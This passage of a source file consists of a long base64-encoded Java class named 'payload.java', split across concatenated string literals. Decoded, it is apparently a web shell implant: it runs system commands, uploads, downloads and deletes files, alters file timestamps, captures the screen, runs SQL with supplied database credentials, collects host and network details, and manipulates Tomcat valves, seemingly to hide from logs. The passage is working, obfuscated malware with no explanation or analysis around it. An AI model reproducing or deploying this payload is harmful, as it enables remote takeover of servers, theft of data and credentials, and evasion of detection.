\"cml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2\" +\n \"YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4\" +\n \"ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RN\" +\n \"b2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoC\" +\n \"PgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwv\" +\n \"QXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoM\" +\n \"AksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJT\" +\n \"AQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRy\" +\n \"aWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExq\" +\n \"YXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2\" +\n \"YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRl\" +\n \"VmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxq\" +\n \"YXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNp\" +\n \"Y0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1p\" +\n \"bGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEv\" +\n \"bmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmls\" +\n \"ZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5\" +\n \"cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQ\" +\n \"TGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFz\" +\n \"aWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRy\" +\n \"aWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0Zp\" +\n \"bGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBq\" +\n \"YXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJ\" +\n \"KVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZ\" +\n \"TGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoA\" +\n \"AQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5k\" +\n \"IGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2Rp\" +\n \"cnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRl\" +\n \"c3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5v\" +\n \"dCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJn\" +\n \"ZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5D\" +\n \"b2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgAB\" +\n \"ADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxz\" +\n \"ZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdz\" +\n \"Q291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwA\" +\n \"JgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8\" +\n \"BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMC\" +\n \"AQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJp\" +\n \"bmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0Nv\" +\n \"dW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0\" +\n \"SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3Vu\" +\n \"dFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGls\" +\n \"L0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFz\" +\n \"aWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZh\" +\n \"L3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgAB\" +\n \"AzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtn\" +\n \"ZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGly\" +\n \"CgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEA\" +\n \"CkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRo\" +\n \"CANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZs\" +\n \"ZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9u\" +\n \"OiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoA\" +\n \"AQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVu\" +\n \"dAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01h\" +\n \"cDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZh\" +\n \"L3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVy\" +\n \"YXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2lj\" +\n \"c0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJh\" +\n \"dG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGph\" +\n \"dmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQAN\" +\n \"Z2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAF\" +\n \"d2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUB\" +\n \"ADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVq\" +\n \"YXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylM\" +\n \"amF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVy\" +\n \"ZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2Jv\" +\n \"dAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEA\" +\n \"CkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJu\" +\n \"YW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPf\" +\n \"AQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3Jh\" +\n \"Y2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAV\" +\n \"Y29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAF\" +\n \"bXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9E\" +\n \"YXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11\" +\n \"dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRi\" +\n \"YzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRi\" +\n \"YzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9s\" +\n \"YW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2\" +\n \"ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3Nx\" +\n \"bC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1\" +\n \"dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3Vs\" +\n \"dFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3Fs\" +\n \"L1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUK\" +\n \"AAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoE\" +\n \"OwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZm\" +\n \"ZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhv\" +\n \"c3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZk\" +\n \"YkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNl\" +\n \"dAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1u\" +\n \"TnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBv\" +\n \"c2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMB\" +\n \"AAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoE\" +\n \"YAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFk\" +\n \"Qnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGph\" +\n \"dmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARz\" +\n \"a2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAO\" +\n \"cG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3Jp\" +\n \"Z2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYo\" +\n \"SUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwAT\" +\n \"CASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSr\" +\n \"DASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFu\" +\n \"Zy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5\" +\n \"cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilW\" +\n \"CgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3Fs\" +\n \"L0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATU\" +\n \"BNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rp\" +\n \"b247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEA\" +\n \"GUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3Nx\" +\n \"bC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2\" +\n \"YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJl\" +\n \"c3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAV\" +\n \"KClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEA\" +\n \"BmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNl\" +\n \"OwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1l\" +\n \"dGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJl\" +\n \"dE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3Ry\" +\n \"aW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZh\" +\n \"L2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9k\" +\n \"CgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcv\" +\n \"U3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmlu\" +\n \"ZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFy\" +\n \"ZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25k\" +\n \"aXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9\" +\n \"KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9u\" +\n \"Q29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1\" +\n \"dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2Vu\" +\n \"ZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQAD\" +\n \"ZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFu\" +\n \"Zy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVu\" +\n \"aXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGlu\" +\n \"Z3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhACEAAQADAAAAEwAZAAUABgAAAAAABwAIAAAAAAAJ\" +\n \"AAgAAAAAAAoACwAAAAAADAALAAAAAAANAAsAAAAAAA4ADwAAAAAAEAARAAAACAASABMAAQAUAAAAAAAIABUAEwABABQAAAAAAAgA\" +\n \"FgATAAEAFAAAAAAACAAXABMAAQAUAAAAAAAIABgAEwABABQAAAAAAAgAGQATAAEAFAAAAAAACAAaABMAAQAUAAAAAAAIABsAEwAB\" +\n \"ABQAAAAAAAgAHAATAAEAFAAAAAAACAAdABMAAQAUAAAAAAAIAB4AEwABABQAAAAAADUACAAfACAAAQAhAAABtgAEAAAAAAGCEEC8\" +\n \"BVkDEEFVWQQQQlVZBRBDVVkGEERVWQcQRVVZCBBGVVkQBhBHVVkQBxBIVVkQCBBJVVkQCRBKVVkQChBLVVkQCxBMVVkQDBBNVVkQ\" +\n \"DRBOVVkQDhBPVVkQDxBQVVkQEBBRVVkQERBSVVkQEhBTVVkQExBUVVkQFBBVVVkQFRBWVVkQFhBXVVkQFxBYVVkQGBBZVVkQGRBa\" +\n \"VVkQGhBhVVkQGxBiVVkQHBBjVVkQHRBkVVkQHhBlVVkQHxBmVVkQIBBnVVkQIRBoVVkQIhBpVVkQIxBqVVkQJBBrVVkQJRBsVVkQ\" +\n \"JhBtVVkQJxBuVVkQKBBvVVkQKRBwVVkQKhBxVVkQKxByVVkQLBBzVVkQLRB0VVkQLhB1VVkQLxB2VVkQMBB3VVkQMRB4VVkQMhB5\" +\n \"VVkQMxB6VVkQNBAwVVkQNRAxVVkQNhAyVVkQNxAzVVkQOBA0VVkQORA1VVkQOhA2VVkQOxA3VVkQPBA4VVkQPRA5VVkQPhArVVkQ\" +\n \"PxAvVbMAIrEAAAACACQAAAAaAAYAAAA7AFsAPADZAD0BVwA+AX4AOwGBAD4AJQAAAAIAAAABACYAIAABACEAAABCAAMAAQAAABAq\" +\n \"twAnKrsAKVm3ACu1ACyxAAAAAgAkAAAADgADAAAAMwAEAD8ADwA1ACUAAAAMAAEAAAAQAC4ALwAAAAEAJgAwAAEAIQAAAE0AAwAC\" +\n \"AAAAESortwAxKrsAKVm3ACu1ACyxAAAAAgAkAAAADgADAAAAOAAFAD8AEAA5ACUAAAAWAAIAAAARAC4ALwAAAAAAEQAzADQAAQAB\" +\n \"ADUANgABACEAAAA9AAQAAgAAAAkqKwMrvrcAN7AAAAACACQAAAAGAAEAAABIACUAAAAWAAIAAAAJAC4ALwAAAAAACQA7AA8AAQAB\" +\n \"ADwAPQABACEAAAIzAAMABgAAAPsqEj62AEBMKhJEtgBATSzGAMIrxwBHKrYARiwBtgBMTi22AFKyAFdZxwAcVxJZuABaWbMAV6cA\" +\n \"D7sAXlpftgBgtwBmv7YAaZkADS0qAbYAbcAAcbAScrYAdLAqtAB5K7YAe8AATU4txgBkLbYAfjoEGQQqtAAstgCCVxkEtgCGVyq0\" +\n 